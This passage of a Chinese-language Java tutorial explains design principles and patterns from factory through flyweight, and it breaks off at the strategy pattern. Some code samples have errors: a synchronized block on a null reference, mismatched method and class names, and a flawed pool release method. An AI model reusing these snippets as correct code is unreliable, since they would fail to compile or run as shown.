里氏代换原则是对“开-闭”原则的补充。实现“开-闭”原则的关键步骤就是抽象化。而基类与子类的继承关系就是抽象化的具体实现，所以里氏代换原则是对实现抽象化的具体步骤的规范。\n\n- 依赖倒转原则`（Dependence Inversion Principle）`      \n    这个是开闭原则的基础，具体内容：真对接口编程，依赖于抽象而不依赖于具体。\n\n- 接口隔离原则`（Interface Segregation Principle）`        \n    这个原则的意思是：使用多个隔离的接口，比使用单个接口要好。还是一个降低类之间的耦合度的意思，从这儿我们看出，其实设计模式就是一个软件的设计思想，\n    从大型软件架构出发，为了升级和维护方便。所以上文中多次出现：降低依赖，降低耦合。\n\n- 迪米特法则（最少知道原则）`（Demeter Principle）`        \n    为什么叫最少知道原则，就是说：一个实体应当尽量少的与其他实体之间发生相互作用，使得系统功能模块相对独立。\n\n- 合成复用原则`（Composite Reuse Principle）`          \n    原则是尽量使用合成/聚合的方式，而不是使用继承。\n\n\n\n1.工厂方法模式`(Factory Method)`\n---\n\n工厂方法模式分为三种:      \n\n- 普通工厂模式:就是建立一个工厂类，对实现了同一接口的一些类进行实例的创建。\n\n    这里举一个发送邮件和发送短信的例子.      \n    \n    首先，创建两者的共同接口:   \n    ```java\n    public interface ISender {\n        void send();\n    }\n    ```\n    \n    然后分别创建具体的实现类:   \n    ```java\n    public class MailSender implements ISender {\n        @Override\n        public void send() {\n            System.out.println(\"mail sender\");\n        }\n    }\n    \n    public class SmsSender implements ISender {\n        @Override\n        public void send() {\n            System.out.println(\"sms sender\");\n        }\n    }\n    ```\n    最后是建立工厂类:    \n    ```java\n    public class SendFactory {\n        public ISender produce(String type) {\n            if (\"mail\".equals(type)) {\n                return new MailSender ();\n            } else if (\"sms\".equals(type)) {\n                return new SmsSender ();\n            } else {\n                System.out.println(\"请输入正确的类型!\");\n                return null;\n            }\n        }\n    }\n    ```\n\n- 多个工厂方法模式:是对普通工厂方法模式的改进，在普通工厂方法模式中，如果传递的字符串出错，则不能正确创建对象，而多个工厂方法模式是提供多个工厂方法，分别创建对象。         \n\n    将上面的代码进行修改，主要修改`SendFactory`就行:   \n    ```java\n    public class SendFactory {\n        public ISender produceMail(){\n            return new MailSender();\n        }\n    \n        public ISender produceSms(){\n            return new SmsSender();\n        }\n    }\n    ```\n\n- 静态工厂方法模式，将上面的多个工厂方法模式里的方法置为静态的，不需要创建实例，直接调用即可。\n\n    ```java\n    public class SendFactory {\n        public static ISender produceMail(){\n            return new MailSender();\n        }\n    \n        public static ISender produceSms(){\n            return new SmsSender();\n        }\n    }\n    ```\n    \n    测试类:   \n    ```java\n    ISender sender = SendFactory.produceMail();  \n    sender.Send();  \n    ```\n\n总体来说，工厂模式适合凡是出现了大量的产品需要创建，并且具有共同的接口时，可以通过工厂方法模式进行创建。在以上的三种模式中，第一种如果传入的字符串有误，不能正确创建对象，第三种相对于第二种，不需要实例化工厂类，所以，大多数情况下，我们会选用第三种——静态工厂方法模式。\n\n\n\n2.抽象工厂模式`(Abstract Factory)`\n---\n\n\n工厂方法模式有一个问题就是，类的创建依赖工厂类，也就是说，如果想要拓展程序，必须对工厂类进行修改，这违背了闭包原则，所以，从设计角度考虑，有一定的问题，如何解决？就用到抽象工厂模式，创建多个工厂类，这样一旦需要增加新的功能，直接增加新的工厂类就可以了，不需要修改之前的代码。因为抽象工厂不太好理解，我们先看看图，然后就和代码，就比较容易理解。\n\n\n还是用上面的例子，只是在工厂类这里需要改一下，提供两个不同的工厂类，他们要实现同一个接口:    \n\n```java\npublic interface IProvider {  \n    public ISender produce();  \n}  \n```\n\n具体两个工厂类的实现:     \n\n```java\npublic class SendMailFactory implements IProvider {     \n    @Override  \n    public ISender produce(){  \n        return new MailSender();  \n    }  \n}  \n\n\npublic class SendSmsFactory implements IProvider{  \n    @Override  \n    public ISender produce() {  \n        return new SmsSender();  \n    }  \n}  \n```\n\n测试类:    \n\n```java\nIProvider provider = new SendMailFactory();  \nISender sender = provider.produce();  \nsender.Send();  \n```\n\n其实这个模式的好处就是，如果你现在想增加一个功能：发送即时信息，则只需做一个实现类，实现`ISender`接口，同时做一个工厂类，实现`IProvider`接口，就`OK`了，无需去改动现成的代码。这样做，拓展性较好！\n\n\n3.单例模式`(Singleton)`\n---\n\n\n单例模式能保证在一个`JVM`中，该对象只有一个实例存在。\n\n这样的模式有几个好处:      \n\n- 某些类创建比较频繁，对于一些大型的对象，这是一笔很大的系统开销。\n- 省去了`new`操作符，降低了系统内存的使用频率，减轻`GC`压力。\n- 有些类如交易所的核心交易引擎，控制着交易流程，如果该类可以创建多个的话，系统完全乱了。（比如一个军队出现了多个司令员同时指挥，肯定会乱成一团），所以只有使用单例模式，才能保证核心交易服务器独立控制整个流程。\n\n首先我们写一个简单的单例类：\n```java\npublic class SingleTon {\n    private static SingleTon instance = null;\n    private SingleTon() {\n    }\n    public static SingleTon getInstance() {\n        if (instance == null) {\n            instance = new SingleTon();\n        }\n        return instance;\n    }\n\n    /* 如果该对象被用于序列化，可以保证对象在序列化前后保持一致 */\n    public Object readResolve() {\n        return instance;\n    }\n}\n```\n\n这个类可以满足基本要求，但是，像这样毫无线程安全保护的类，如果我们把它放入多线程的环境下，肯定就会出现问题了，如何解决？我们首先会想到对`getInstance()`方法加`synchronized`关键字，但是，`synchronized`关键字锁住的是这个对象，这样的用法，在性能上会有所下降，因为每次调用`getInstance()`，都要对对象上锁，事实上，只有在第一次创建对象的时候需要加锁，之后就不需要了，所以，这个地方需要改进。我们改成下面这个:   \n\n```java\npublic class SingleTon {\n    private static SingleTon instance = null;\n\n    private SingleTon() {\n    }\n\n    public static SingleTon getInstance() {\n        if (instance == null) {\n            synchronized (instance) {\n                if (instance == null) {\n                    instance = new SingleTon();\n                }\n            }\n        }\n        return instance;\n    }\n\n\n    /* 如果该对象被用于序列化，可以保证对象在序列化前后保持一致 */\n    public Object readResolve() {\n        return instance;\n    }\n}\n```\n\n似乎解决了之前提到的问题，将`synchronized`关键字加在了内部，也就是说当调用的时候是不需要加锁的，只有在`instance`为`null`，并创建对象的时候才需要加锁，性能有一定的提升。         但是，这样的情况，还是有可能有问题的，看下面的情况：在`Java`指令中创建对象和赋值操作是分开进行的，也就是说`instance = new Singleton();`语句是分两步执行的。但是JVM并不保证这两个操作的先后顺序，也就是说有可能`JVM`会为新`的Singleton`实例分配空间，然后直接赋值给`instance`成员，然后再去初始化这个`Singleton`实例。这样就可能出错了。     \n\n我们以`A`、`B`两个线程为例:      \n\n- `A、B`线程同时进入了第一个`if`判断\n- `A`首先进入`synchronized`块，由于`instance`为`null`，所以它执行`instance = new Singleton();`\n- 由于`JVM`内部的优化机制，`JVM`先画出了一些分配给`Singleton`实例的空白内存，并赋值给`instance`成员（注意此时`JVM`没有开始初始化这个实例），然后`A`离开了`synchronized`块。\n- `B`进入`synchronized`块，由于`instance`此时不是`null`，因此它马上离开了`synchronized`块并将结果返回给调用该方法的程序。\n- 此时`B`线程打算使用`Singleton`实例，却发现它没有被初始化，于是错误发生了。\n\n所以程序还是有可能发生错误，其实程序在运行过程是很复杂的，从这点我们就可以看出，尤其是在写多线程环境下的程序更有难度，有挑战性。我们对该程序做进一步优化:    \n\n```java\npublic class SingleTon {\n\n    private SingleTon() {\n    }\n\n    private static class SingletonFactory {\n        private static SingleTon instance = new SingleTon();\n    }\n\n    public static SingleTon getInstance() {\n        return SingletonFactory.instance;\n    }\n\n    public Object readResolve() {\n        return getInstance();\n    }\n}\n```\n\n单例模式使用内部类来维护单例的实现，`JVM`内部的机制能够保证当一个类被加载的时候，这个类的加载过程是线程互斥的。这样当我们第一次调用`getInstance()`的时候，`JVM`能够帮我们保证`instance`只被创建一次，并且会保证把赋值给`instance`的内存初始化完毕，这样我们就不用担心上面的问题。同时该方法也只会在第一次调用的时候使用互斥机制，这样就解决了低性能问题。\n其实说它完美，也不一定，如果在构造函数中抛出异常，实例将永远得不到创建，也会出错。所以说，十分完美的东西是没有的，我们只能根据实际情况，选择最适合自己应用场景的实现方法。\n\n\n4.建造者模式`(Builder)`\n---\n\n\n工厂类模式提供的是创建单个类的模式，而建造者模式则是将各种产品集中起来进行管理，用来创建复合对象，所谓复合对象就是指某个类具有不同的属性，其实建造者模式就是前面抽象工厂模式和最后的`Test`测试类结合起来得到的。         \n\n还是前面的例子，一个`ISender`接口，两个实现类`MailSender`和`SmsSender`。最后，建造者类如下:    \n```java\npublic class SenderBuilder {\n    private List<ISender> list = new ArrayList<>();\n    public void produceMailSender(int count) {\n        for (int i = 0; i < count; i++) {\n            list.add(new MailSender());\n        }\n    }\n\n    public void produceSmsSender(int count) {\n        for (int i = 0; i < count; i++) {\n            list.add(new SmsSender());\n        }\n    }\n}\n```\n\n测试类:   \n```java\nBuilder builder = new Builder();  \nbuilder.produceMailSender(10);  \n```\n\n建造者模式将很多功能集成到一个类里，这个类可以创造出比较复杂的东西。所以与工程模式的区别就是：工厂模式关注的是创建单个产品，而建造者模式则关注创建符合对象，多个部分。因此，是选择工厂模式还是建造者模式，依实际情况而定。\n\n5.原型模式`(Prototype)`\n---\n\n该模式的思想就是将一个对象作为原型，对其进行复制、克隆，产生一个和原对象类似的新对象。本小结会通过对象的复制，进行讲解。在`Java`中，复制对象是通过`clone()`实现的，先创建一个原型类:      \n\n```java\npublic class Prototype implements Cloneable {\n    public Object clone() throws CloneNotSupportedException {\n        Prototype proto = (Prototype) super.clone();\n        return proto;\n    }\n}\n```\n\n很简单，一个原型类，只需要实现`Cloneable`接口，重写`clone()`方法，此处`clone()`方法可以改成任意的名称，因为`Cloneable`接口是个空接口，你可以任意定义实现类的方法名，如`cloneA`或者`cloneB`，因为此处的重点是`super.clone()`这句话，`super.clone()`调用的是`Object`的`clone()`方法，而在`Object`类中，`clone()`是`native`的。\n\n在这儿，将结合对象的浅复制和深复制来说一下，首先需要了解对象深、浅复制的概念:    \n\n- 浅复制:将一个对象复制后，基本数据类型的变量都会重新创建，而引用类型，指向的还是原对象所指向的。\n- 深复制:将一个对象复制后，不论是基本数据类型还有引用类型，都是重新创建的。简单来说，就是深复制进行了完全彻底的复制，而浅复制不彻底。\n\n此处，写一个深浅复制的例子:   \n\n```java\npublic class Prototype implements Cloneable, Serializable {\n    private static final long serialVersionUID = 1L;\n    private String string;\n    private SerializableObject obj;\n\n    /* 浅复制 */\n    public Object clone() throws CloneNotSupportedException {\n        Prototype proto = (Prototype) super.clone();\n        return proto;\n    }\n\n    /* 深复制 */\n    public Object deepClone() throws IOException, ClassNotFoundException {\n        /* 写入当前对象的二进制流 */\n        ByteArrayOutputStream bos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(bos);\n        oos.writeObject(this);\n\n        /* 读出二进制流产生的新对象 */\n        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());\n        ObjectInputStream ois = new ObjectInputStream(bis);\n        return ois.readObject();\n    }\n\n    public String getString() {\n        return string;\n    }\n\n    public void setString(String string) {\n        this.string = string;\n    }\n\n    public SerializableObject getObj() {\n        return obj;\n    }\n\n    public void setObj(SerializableObject obj) {\n        this.obj = obj;\n    }\n}\n\nclass SerializableObject implements Serializable {\n    private static final long serialVersionUID = 1L;\n}\n```\n\n实现深复制，需要采用流的形式读入当前对象的二进制输入，再写出二进制数据对应的对象。\n\n\n适配器模式`(Adapter)`\n---\n\n适配器模式将某个类的接口转换成客户端期望的另一个接口表示，目的是消除由于接口不匹配所造成的类的兼容性问题。\n\n主要分为三类：     \n\n- 类的适配器模式            \n    \n    核心思想就是：有一个`Source`类，拥有一个方法，待适配，目标接口是`Targetable`，通过`Adapter`类，将`Source`的功能扩展到`Targetable`中。   \n\n    ```java\n    public interface Targetable {  \n        /* 与原类中的方法相同 */  \n\t    public void method1();  \n\t  \n\t    /* 新类的方法 */  \n\t    public void method2();  \n\t}  \n\n\tpublic class Source {  \t  \n\t    public void method1() {  \n\t        System.out.println(\"this is original method!\");  \n\t    }  \n\t}  \n\n\tpublic class Adapter extends Source implements Targetable {  \n\t    @Override  \n\t    public void method2() {  \n\t        System.out.println(\"this is the targetable method!\");  \n\t    }  \n\t} \n\n\tpublic class AdapterTest {  \n\t    public static void main(String[] args) {  \n\t        Targetable target = new Adapter();  \n\t        target.method1();  \n\t        target.method2();  \n\t    }  \n\t}\n\n\t输出结果是:    \n\tthis is original method!\n\tthis is the targetable method!\n    ```\n\n    `Adapter`类继承`Source`类，实现`Targetable`接口,这样`Targetable`接口的实现类就具有了`Source`类的功能。\n\n- 对象的适配器模式                \n\n    基本思路和类的适配器模式相同，只是将`Adapter`类作修改，这次不继承`Source`类，而是持有`Source`类的实例，以达到解决兼容性的问题。   \n\n    只修改上面的`Adapter`类就可以了。   \n\n    ```java\n\tpublic class Adapter implements Targetable {  \n\t    private Source source;  \n\t    public Adapter(Source source){  \n\t        super();  \n\t        this.source = source;  \n\t    }  \n\t    @Override  \n\t    public void method2() {  \n\t        System.out.println(\"this is the targetable method!\");  \n\t    }  \n\t  \n\t    @Override  \n\t    public void method1() {  \n\t        source.method1();  \n\t    }  \n\t} \n\n\tpublic class AdapterTest {  \n\t    public static void main(String[] args) {  \n\t        Source source = new Source();  \n\t        Targetable target = new Wrapper(source);  \n\t        target.method1();  \n\t        target.method2();  \n\t    }  \n\t}  \n    ```\n    输出结果和上面的一样，只是适配器的方法不同。\n\n\n- 接口的适配器模式\n\n    有时我们写的一个接口中有多个抽象方法，当我们写该接口的实现类时，必须实现该接口的所有方法，这明显有时比较浪费，因为并不是所有的方法都是我们需要的，\n    有时只需要某一些，此处为了解决这个问题，我们引入了接口的适配器模式，借助于一个抽象类，该抽象类实现了该接口，实现了所有的方法，\n    而我们不和原始的接口打交道，只和该抽象类取得联系，所以我们写一个类，继承该抽象类，重写我们需要的方法就行。例如`Android ListView`中的`Adapter`就是这样设计的。 \n\n    ```java\n\tpublic interface ISourceable {  \n\t    public void method1();  \n\t    public void method2();  \n\t    public void method3();  \n\t    public void method4();  \n\t    public void method5();  \n\t    public void method6();  \n\t}\n\n\tpublic abstract class BaseAdapter implements ISourceable{  \n        public void method1() {\n\n        }\n\t    public void method2() {\n        \t\t\n        }\n\t    public void method3() {\n        \t\t\n        }\n\t    public void method4() {\n        \t\t\n        }\n\t    public void method5() {\n        \t\t\n        }\n\t    public void method6() {\n        \t\t\n        }\n\t}\n\n\tpublic class ListAdapter extends BaseAdapter {  \n\t\t// 不用全部实现方法，只需要实现自己需要的就可以了\n\t    public void method4(){  \n\t        System.out.println(\"the sourceable interface's first Sub1!\");  \n\t    }  \n\t}  \n    ```\n\n\n总结一下三种适配器模式的应用场景:     \n\n- 类的适配器模式:当希望将一个类转换成满足另一个新接口的类时，可以使用类的适配器模式，创建一个新类，继承原有的类，实现新的接口即可。\n- 对象的适配器模式:当希望将一个对象转换成满足另一个新接口的对象时，可以创建一个`Adapter`类，持有原类的一个实例，在`Adapter`类的方法中，调用实例的方法就行。\n- 接口的适配器模式:当不希望实现一个接口中所有的方法时，可以创建一个抽象类`Adapter`，实现所有方法，我们写别的类的时候，继承抽象类即可。\n\n\n装饰模式`(Decorator)`\n---\n\n装饰模式就是给一个对象增加一些新的功能，而且是动态的，要求装饰对象和被装饰对象实现同一个接口，装饰对象持有被装饰对象的实例。     \n\n`Source`类是被装饰类，`Decorator`类是一个装饰类，可以为`Source`类动态的添加一些功能，代码如下:    \n\n```java\npublic interface ISourceable {  \n    public void method();  \n} \n\npublic class Source implements ISourceable {  \n    @Override  \n    public void method() {  \n        System.out.println(\"the original method!\");  \n    }  \n} \npublic class Decorator implements ISourceable {   \n    private ISourceable source;        \n    public Decorator(ISourceable source){  \n        super();  \n        this.source = source;  \n    }  \n    @Override  \n    public void method() {  \n        System.out.println(\"before decorator!\");  \n        source.method();  \n        System.out.println(\"after decorator!\");  \n    }  \n}\npublic class DecoratorTest {  \n   public static void main(String[] args) {  \n        ISourceable source = new Source();  \n        ISourceable obj = new Decorator(source);  \n        obj.method();  \n    }  \n}  \n\n输出:       \nbefore decorator!\nthe original method!\nafter decorator!\n```\n\n装饰器模式的应用场景:      \n\n- 需要扩展一个类的功能。\n- 动态的为一个对象增加功能，而且还能动态撤销。（继承不能做到这一点，继承的功能是静态的，不能动态增删）\n\n缺点：产生过多相似的对象，不易排错！\n\n\n代理模式`(Proxy)`\n---\n\n代理模式就是多一个代理类出来，替原对象进行一些操作，比如我们在租房子的时候回去找中介，为什么呢？因为你对该地区房屋的信息掌握的不够全面，希望找一个更熟悉的人去帮你做，此处的代理就是这个意思。再如我们有的时候打官司，我们需要请律师，因为律师在法律方面有专长，可以替我们进行操作，表达我们的想法。也就是说把专业事情交给专业的人来做。    \n\n代理按照代理的创建时期，可以分为两种:     \n\n- 静态代理:由程序员创建代理类或特定工具自动生成源代码再对其编译。在程序运行前代理类的`.class`文件就已经存在了。   \n- 动态代理:在程序运行时运用反射机制动态创建而成。     \n\n静态代理是在编译时就将接口、实现类、代理类一股脑儿全部手动完成，但如果我们需要很多的代理，每一个都这么手动的去创建实属浪费时间，而且会有大量的重复代码，此时我们就可以采用动态代理，动态代理可以在程序运行期间根据需要动态的创建代理类及其实例，来完成具体的功能，主要用的是`JAVA`的反射机制。\n\n\n下面用静态代理的示例:     \n```java\npublic interface ISourceable {  \n    public void method();  \n} \n\npublic class Source implements ISourceable {  \n    @Override  \n    public void method() {  \n        System.out.println(\"the original method!\");  \n    }  \n} \npublic class Proxy implements ISourceable {  \n    private Source source;  \n    public Proxy(){  \n        super();  \n        this.source = new Source();  \n    }  \n    @Override  \n    public void method() {  \n        before();  \n        source.method();  \n        atfer();  \n    }  \n    private void atfer() {  \n        System.out.println(\"after proxy!\");  \n    }  \n    private void before() {  \n        System.out.println(\"before proxy!\");  \n    }  \n}  \n\npublic class ProxyTest {  \n    public static void main(String[] args) {  \n        Sourceable source = new Proxy();  \n        source.method();  \n    }  \n}  \n\n输出：    \nbefore proxy!\nthe original method!\nafter proxy!\n```\n\n代理模式可以有效的将具体的实现与调用方进行解耦，通过面向接口进行编码完全将具体的实现隐藏在内部。\n代理模式的应用场景，如果已有的方法在使用的时候需要对原有的方法进行改进，此时有两种办法：    \n\n- 修改原有的方法来适应。这样违反了“对扩展开放，对修改关闭”的原则。\n- 就是采用一个代理类调用原有的方法，且对产生的结果进行控制。这种方法就是代理模式。\n\n使用代理模式，可以将功能划分的更加清晰，有助于后期维护！\n\n动态代理的优缺点:    \n- 优点:代理使客户端不需要知道实现类是什么，怎么做的，而客户端只需知道代理即可（解耦合）。 \n- 缺点:      \n    - 代理类和委托类实现了相同的接口，代理类通过委托类实现了相同的方法。这样就出现了大量的代码重复。如果接口增加一个方法，除了所有实现类需要实现这个方法外，所有代理类也需要实现此方法。增加了代码维护的复杂度。\n    - 代理对象只服务于一种类型的对象，如果要服务多类型的对象。势必要为每一种对象都进行代理，静态代理在程序规模稍大时就无法胜任了\n    \n即静态代理类只能为特定的接口`(Service)`服务。如想要为多个接口服务则需要建立很多个代理类。\n\n\n动态代理的思维模式与之前的一般模式是一样的，也是面向接口进行编码，创建代理类将具体类隐藏解耦，不同之处在于代理类的创建时机不同，动态代理需要在运行时因需实时创建。\n\n动态代理示例:    \n\n```java\n//动态代理类只能代理接口（不支持抽象类），代理类都需要实现InvocationHandler类，实现invoke方法。该invoke方法就是调用被代理接口的所有方法时需要调用的，该invoke方法返回的值是被代理接口的一个实现类  \npublic class DynamicProxy implements InvocationHandler {\n　　private Object object;//用于接收具体实现类的实例对象\n　　//使用带参数的构造器来传递具体实现类的对象\n　　public DynamicProxy(Object obj){\n　　　　this.object = obj;\n　　}\n　　@Override\n　　public Object invoke(Object proxy, Method method, Object[] args)throws Throwable {\n　　　　System.out.println(\"前置内容\");\n　　　　method.invoke(object, args);\n　　　　System.out.println(\"后置内容\");\n　　　　return null;\n　　}\n}\n\n测试类:   \n\npublic static void main(String[] args) {\n    ISourceable source = new Source();\n    InvocationHandler h = new DynamicProxy(source);\n    ISourceable proxy = (ISourceable) Proxy.newProxyInstance(ISourceable.class.getClassLoader(), new Class[]{ISourceable.class}, h);\n    proxy.method();\n}\n```\n\n\n动态代理与静态代理相比较，最大的好处是接口中声明的所有方法都被转移到调用处理器一个集中的方法中处理`(InvocationHandler.invoke)`。这样，在接口方法数量比较多的时候，我们可以进行灵活处理，而不需要像静态代理那样每一个方法进行中转。而且动态代理的应用使我们的类职责更加单一，复用性更强\n\n代理对象就是把被代理对象包装一层，在其内部做一些额外的工作，比如用户需要上facebook,而普通网络无法直接访问，网络代理帮助用户先翻墙，然后再访问facebook。这就是代理的作用了。\n\n纵观静态代理与动态代理，它们都能实现相同的功能，而我们看从静态代理到动态代理的这个过程，我们会发现其实动态代理只是对类做了进一步抽象和封装，使其复用性和易用性得到进一步提升而这不仅仅符合了面向对象的设计理念，其中还有AOP的身影，这也提供给我们对类抽象的一种参考。关于动态代理与AOP的关系，个人觉得AOP是一种思想，而动态代理是一种AOP思想的实现！\n\n外观模式`(Facade)`\n---\n\n\n外观模式是为了解决类与类之家的依赖关系的，像`spring`一样，可以将类和类之间的关系配置到配置文件中，而外观模式就是将他们的关系放在一个`Facade`类中，降低了类类之间的耦合度，该模式中没有涉及到接口。     \n\n下面以计算机启动过程为例:   \n```java\npublic class CPU {  \n    public void startup(){  \n        System.out.println(\"cpu startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"cpu shutdown!\");  \n    }  \n} \n\npublic class Memory {  \n    public void startup(){  \n        System.out.println(\"memory startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"memory shutdown!\");  \n    }  \n} \n\npublic class Disk {  \n    public void startup(){  \n        System.out.println(\"disk startup!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"disk shutdown!\");  \n    }  \n}  \n\npublic class Computer {  \n    private CPU cpu;  \n    private Memory memory;  \n    private Disk disk;  \n      \n    public Computer(){  \n        cpu = new CPU();  \n        memory = new Memory();  \n        disk = new Disk();  \n    }  \n      \n    public void startup(){  \n        System.out.println(\"start the computer!\");  \n        cpu.startup();  \n        memory.startup();  \n        disk.startup();  \n        System.out.println(\"start computer finished!\");  \n    }  \n      \n    public void shutdown(){  \n        System.out.println(\"begin to close the computer!\");  \n        cpu.shutdown();  \n        memory.shutdown();  \n        disk.shutdown();  \n        System.out.println(\"computer closed!\");  \n    }  \n}  \n\npublic class User {  \n    public static void main(String[] args) {  \n        Computer computer = new Computer();  \n        computer.startup();  \n        computer.shutdown();  \n    }  \n}  \n\n输出：\n\nstart the computer!\ncpu startup!\nmemory startup!\ndisk startup!\nstart computer finished!\nbegin to close the computer!\ncpu shutdown!\nmemory shutdown!\ndisk shutdown!\ncomputer closed!\n```\n\n如果我们没有`Computer`类，那么`CPU`、`Memory`、`Disk`他们之间将会相互持有实例，产生关系，这样会造成严重的依赖，修改一个类，可能会带来其他类的修改，这不是我们想要看到的，有了`Computer`类，他们之间的关系被放在了`Computer`类里，这样就起到了解耦的作用，这就是外观模式！\n\n\n桥接模式`(Bridge)`\n---\n\n\n桥接模式就是把事物和其具体实现分开，使他们可以各自独立的变化。       \n\n桥接的用意是：将抽象化与实现化解耦，使得二者可以独立变化，像我们常用的`JDBC`桥`DriverManager`一样，`JDBC`进行连接数据库的时候，在各个数据库之间进行切换，基本不需要动太多的代码，甚至丝毫不用动，原因就是`JDBC`提供统一接口，每个数据库提供各自的实现，用一个叫做数据库驱动的程序来桥接就行了。        \n\n```java\npublic interface ISourceable {  \n    public void method();  \n}\n\npublic class SourceSub1 implements ISourceable {  \n    @Override  \n    public void method() {  \n        System.out.println(\"this is the first sub!\");  \n    }  \n} \npublic class SourceSub2 implements ISourceable {  \n    @Override  \n    public void method() {  \n        System.out.println(\"this is the second sub!\");  \n    }  \n}  \n```\n\n定义一个桥，持有`ISourceable`的实例:   \n```java\npublic abstract class Bridge {  \n    private ISourceable source;  \n  \n    public void method(){  \n        source.method();  \n    }  \n      \n    public ISourceable getSource() {  \n        return source;  \n    }  \n  \n    public void setSource(ISourceable source) {  \n        this.source = source;  \n    }  \n}  \npublic class MyBridge extends Bridge {  \n    public void method(){  \n    \tif (getSource() == null) {\n    \t\treturn;\n    \t}\n        getSource().method();  \n    }  \n}  \n\npublic class BridgeTest {  \n    public static void main(String[] args) {  \n        Bridge bridge = new MyBridge();  \n        /*调用第一个对象*/  \n        Sourceable source1 = new SourceSub1();  \n        bridge.setSource(source1);  \n        bridge.method();  \n          \n        /*调用第二个对象*/  \n        Sourceable source2 = new SourceSub2();  \n        bridge.setSource(source2);  \n        bridge.method();  \n    }  \n}  \n\n输出:    \n\nthis is the first sub!\nthis is the second sub!\n```\n\n这样，就通过对`Bridge`类的调用，实现了对接口`ISourceable`的实现类`SourceSub1`和`SourceSub2`的调用。\n\n\n组合模式`(Composite)`\n---\n\n组合模式有时又叫部分-整体模式在处理类似树形结构的问题时比较方便。   \n\n```java\npublic class TreeNode {\n    private String name;\n    private TreeNode parent;\n    private Vector<TreeNode> children = new Vector<TreeNode>();\n\n    public TreeNode(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public TreeNode getParent() {\n        return parent;\n    }\n\n    public void setParent(TreeNode parent) {\n        this.parent = parent;\n    }\n\n    //添加子节点\n    public void add(TreeNode node) {\n        children.add(node);\n    }\n\n    //删除子节点\n    public void remove(TreeNode node) {\n        children.remove(node);\n    }\n\n    //获取子节点\n    public Enumeration<TreeNode> getChildren() {\n        return children.elements();\n    }\n}\n\npublic class Tree {\n    TreeNode root;\n\n    public Tree(String name) {\n        root = new TreeNode(name);\n    }\n}\n\n测试代码: \npublic static void main(String[] args) {\n    Tree tree = new Tree(\"A\");\n    TreeNode nodeB = new TreeNode(\"B\");\n    TreeNode nodeC = new TreeNode(\"C\");\n\n    nodeB.add(nodeC);\n    tree.root.add(nodeB);\n    System.out.println(\"build the tree finished!\");\n}\n```\n使用场景：将多个对象组合在一起进行操作，常用于表示树形结构中，例如二叉树，数等。\n\n享元模式`(Flyweight)`\n---\n\n享元模式的主要目的是实现对象的共享，即共享池，当系统中对象多的时候可以减少内存的开销，通常与工厂模式一起使用。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/flyweight_1.jpg?raw=true)     \n\n`FlyWeightFactory`负责创建和管理享元单元，当一个客户端请求时，工厂需要检查当前对象池中是否有符合条件的对象，如果有，就返回已经存在的对象，如果没有，则创建一个新对象，`FlyWeight`是超类。一提到共享池，我们很容易联想到`Java`里面的`JDBC`连接池，想想每个连接的特点，我们不难总结出：适用于作共享的一些个对象，他们有一些共有的属性，就拿数据库连接池来说，`url`、`driverClassName`、`username`、`password`及`dbname`，这些属性对于每个连接来说都是一样的，所以就适合用享元模式来处理，建一个工厂类，将上述类似属性作为内部数据，其它的作为外部数据，在方法调用时，当做参数传进来，这样就节省了空间，减少了实例的数量。\n\n下面用数据库连接池的例子:   \n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/flyweight_2.jpg?raw=true)     \n\n```java\npublic class ConnectionPool {\n    private Vector<Connection> pool;\n    /*公有属性*/\n    private String url = \"jdbc:mysql://localhost:3306/test\";\n    private String username = \"root\";\n    private String password = \"root\";\n    private String driverClassName = \"com.mysql.jdbc.Driver\";\n\n    private int poolSize = 100;\n    Connection conn;\n\n    /*构造方法，做一些初始化工作*/\n    private ConnectionPool() {\n        pool = new Vector<>(poolSize);\n        for (int i = 0; i < poolSize; i++) {\n            try {\n                Class.forName(driverClassName);\n                conn = DriverManager.getConnection(url, username, password);\n                pool.add(conn);\n            } catch (ClassNotFoundException e) {\n                e.printStackTrace();\n            } catch (SQLException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    /* 返回连接到连接池 */\n    public synchronized void release() {\n        pool.add(conn);\n    }\n\n    /* 返回连接池中的一个数据库连接 */\n    public synchronized Connection getConnection() {\n        if (pool.size() > 0) {\n            Connection conn = pool.get(0);\n            pool.remove(conn);\n            return conn;\n        } else {\n            return null;\n        }\n    }\n}\n```\n\n通过连接池的管理，实现了数据库连接的共享，不需要每一次都重新创建连接，节省了数据库重新创建的开销，提升了系统的性能！\n\n\n策略模式`(strategy)`\n---\n\n策略模式定义了一系列算法，并将每个算法封装起来，使他们可以相互替换，且算法的变化不会影响到使用算法的客户。需要设计一个接口，为一系列实现类提供统一的方法，多个实现类实现该接口，设计一个抽象类（可有可无，属于辅助类），提供辅助函数，关系图如下：\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/strategy.jpg?raw=true)     \n\n图中`ICalculator`提供了同样的方法，\n`AbstractCalculator`是辅助类，提供辅助方法，接下来，依次实现下每个类:    \n\n```java\npublic interface ICalculator {  \n    public int calculate(String exp);  \n} \npublic abstract class AbstractCalculator {  \n      \n    public int[] split(String exp,String opt){  \n        String array[] = exp.split(opt);  \n        int arrayInt[] = new int[2];  \n        arrayInt[0] = Integer.parseInt(array[0]);  \n        arrayInt[1] = Integer.parseInt(array[1]);  \n        return arrayInt;  \n    }  \n}  \n\n具体的实现类:   \npublic class Plus extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"\\\\+\");  \n        return arrayInt[0]+arrayInt[1];  \n    }  \n}  \npublic class Minus extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"-\");  \n        return arrayInt[0]-arrayInt[1];  \n    }  \n}  \npublic class Multiply extends AbstractCalculator implements ICalculator {  \n  \n    @Override  \n    public int calculate(String exp) {  \n        int arrayInt[] = split(exp,\"\\\\*\");  \n        return arrayInt[0]*arrayInt[1];  \n    }  \n}  \n\n测试类:  \npublic class StrategyTest {  \n  